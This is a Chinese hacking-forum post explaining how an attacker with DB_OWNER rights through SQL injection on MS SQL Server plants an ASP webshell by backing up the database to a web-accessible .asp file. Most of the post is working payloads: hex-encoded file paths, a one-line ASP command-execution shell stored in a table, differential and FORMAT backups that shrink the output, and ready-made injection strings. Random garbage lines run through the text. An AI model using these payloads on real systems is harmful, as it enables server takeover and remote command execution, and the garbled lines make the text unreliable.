DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
. N7 ~# d( h2 T
) s, t: d7 z9 f: ~  g减少备份文件大小，得到可执行的webshell成功率提高不少
! M6 z) {8 z9 z1 F4 V! `一利用差异备份
加一个参数WITH DIFFERENTIAL

2 F; T* z& R3 o  T1
' i, `; `: Z& h, S0 Y6 ^) P2
* @$ ~. J; d$ Z7 O& ]& e3
. D$ _0 S4 P. l6 V7 \4
8 @% W5 ^1 R# U$ K- c+ X$ l declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ p( ^. |' M, g: I1 k0 S! m9 fcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
$ v( \! b; x1 B8 T3 l: M
% T" Y6 X) O/ h: |二利用完全FORMAT
加一个参数WITH FROMAT
9 X1 E" [8 d5 \6 g: `5 P. V有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
" U, d* W, q6 V- T
$ H, T6 R) I( ?, |; z7 p1
+ C, i5 y' G, i) k0 }+ j2
0 w: H! O" w5 J3
0 \7 r2 v8 b8 h$ |$ N: l3 V4
- z7 b  E; f/ M$ u9 x+ _5 I* R2 c declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" j* S2 g5 A6 f: T& kcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 \! v; S' ?" m1 `, ]declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

$ R5 H8 z: [, V: l+ R总的来说就是那么简单几句,下面以备份数据库model为例子
1
% o0 D# @+ S" l8 T- L/ `
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2

& \( f- W* r. B) T+ u/ \3 o1
id=1;backup database model to disk='你的路径‘ with differential,format;--
+ s1 i* ?8 @) X! t7 c' g" Z8 p